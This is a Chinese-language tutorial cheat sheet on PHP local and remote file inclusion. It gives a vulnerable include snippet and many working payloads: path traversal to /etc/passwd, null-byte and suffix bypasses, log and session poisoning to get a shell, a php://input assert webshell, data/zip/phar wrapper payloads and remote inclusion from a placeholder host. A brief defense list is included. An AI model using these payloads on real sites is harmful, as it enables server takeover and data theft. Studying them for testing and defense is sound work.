文件包含
LFI:本地文件包含(local file include),仅能包含本地服务器上的文件
RFI:远程文件包含(remote file include),能包含远程服务器上的文件
文件包含漏洞原理
程序员为了重复调用同一代码,通常会采用文件函数包含其代码文件
引用了动态文件包含函数,采用传参方式传入被包含的文件名进行包含
文件包含漏洞条件
- 用户能够控制输入的内容
- 传入的参数未被过滤就直接拼接到文件包含函数内包含文件
文件包含相关函数
include()
被包含文件若不存在则爆出警告,脚本继续执行
include_once()
与上同理,文件只包含一次(如果在当前文件内,其包含文件已被包含,则不再包含)
require()
被包含文件若不存在则爆出致命错误,脚本停止运行
require_once()
与上同理,文件只包含一次
<?php $filename=$_GET['file'];include($filename);
require()和include()函数的区别:
使用require()函数包含文件时,只要程序执行,立即调用文件,而include()只有程序执行到该函数时才调用
其他函数
highlight_file()、show_source()、readfile()、file_get_contents()、fopen()、file()
本地文件包含漏洞利用
包含本地文件(配置文件、用户相关文件、日志文件)
包含本地日志文件getshell(/var/log/httpd/access_log)
包含本地session文件getshell
构造注册用户时用户名为一句话 -> 包含session文件(/var/lib/php/session/session_注册用户的sessionid值)
包含图片马|txt等任意文件都能getshell(文件内有一句话)
有限制的本地包含绕过
自动在包含文件后面加上后缀
<?php include($_GET['file']).'php';?>
绕过方式
00截断
php<5.3.4,且magic_quote_gpc=off
http://xxx/include.php?file=1.jpg%00
windows文件名长度特性绕过
http://xxx/include.php?file=1.jpg.....................
Windows下要长于198字符,超出的部分会被丢弃 Linux下要长于4096字符,超出的部分会被丢弃。(无法绕过)
远程文件包含漏洞利用
包含远程服务器上的文件
allow url fopen=on/off是否允许打开URL文件,该选项为on便是允许包含URL对象文件等。默认开启 allow url include=on/off是否允许引用URL文件,激活URL形式的fopen封装协议使得可以访问URL对象文件等。默认关闭
两者都为on时,才能够远程包含。本地包含不受这两参数影响
启用web环境监听
python(有目录遍历功能)
python3 -m http.server 8000
python2 -m SimpleHTTPServer 8080
PHP(无目录遍历)
php -S 0.0.0.0:8000
有限制的远程包含绕过
自动在包含文件后面加上后缀
<?php include($_GET['file'].'php')?>
问号绕过(在url中,?用于分割url和请求参数)
http://xxx/include.php?file=http://xxx/x.jpg?
%23绕过(在url中,#后的内容为锚部分)
http://xxx/include.php?file=http://xxx/x.jpg%23
截断
http://xxx/include.php?file=http://xxx/x.jpg%00
空格绕过(windows可行)
http://xxx/include.php?file=http://xxx/x.jpg空格
http://xxx/include.php?file=http://xxx/x.jpg%20
http://xxx/include.php?file=http://xxx/x.jpg+
文件包含漏洞利用总结
- 本地包含日志文件(access_log,error_log)
- 网站将用用信息存入session文件中,注册用户包含session文件
- 存在文件上传漏洞,白名单校验上传图片马,结合本地文件包含图片马
文件包含防御方式
- 严格判断包含中的参数是否外部可控(外部传参)
- 路径限制(传参拼接路径)
- 包含文件验证(检查传参是否包含敏感文件)
- 尽量不要使用动态包含,可以在需要包含的页面固定写好(固定包含文件)
- php中可以使用open_basedir配置限制访问(利用php.ini中open_basedir配置php脚本访问的路径)
- 过滤
.\/
等(过滤敏感字符.../) - 禁止服务器远程文件包含
伪协议
file://
读取文件内容(使用绝对路径)(读取php代码时自动执行)
allow url fopen=on/off allow url include=on/off
以上情况均可读
http://xxx/include?file=file:///etc/passwd
http://
远程文件包含利用http伪协议包含远程文件
allow url fopen=on allow url include=on
http://xxx/include?file=http://xxx/xx.php
php://filter
将文件内容以base64的形式进行显示
http://xxx/include?file=php://filter/read=convert.base64-encode/resource=xx.php
php://input
将POST请求体内的内容当做php代码执行
allow url fopen=on/off allow url include=on
#连shell
http://xxx.php?file=php://input #url
<?=assert($_POST['cmd'])?>&cmd #连接密码data://
执行接收到的数据中包含的php代码
allow url fopen=on allow url include=on
?file=data://text/plain,<?php phpinfo()?>
?file=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=zip://
读取压缩包内的文件,如果文件内包含php代码则直接执行
allow url fopen=off/on
allow url include=off/on
?file=zip://shell.zip%23shell.txt
?file=zip://shell.jpg%23shell.txtphar://
读取压缩包内的文件,如果文件内包含php代码则直接执行(默认不开启)
allow url fopen=off/on
allow url include=off/on
?file=phar://shell.jpg/shell.txt
compress.bzip2://
读取bz2文件内的内容
allow url fopen=off/on
allow url include=off/on
bzip2 -k shell.txt #将文件压缩为bz2文件(压缩并保留源文件)
?file=compress.bzip2://shell.txt.bz2 #读取bz2文件内内容compress.zlib://
读取压缩包内文件内容(默认不开启)
allow url fopen=off/on
allow url include=off/on
?file=compress.zlib://shell.jpg#shell.txt #读取压缩包内容
前缀限制绕过
有前缀限制则伪协议都无法使用
?file=../../../../../../../../etc/passwd
后缀限制绕过
远程包含
?file=http://xxx/xx.php?
?file=http://xxx/xx.php%23
前后缀限制绕过
只能使用00截断或者长文件名截断方式(windows或低版本php才可利用)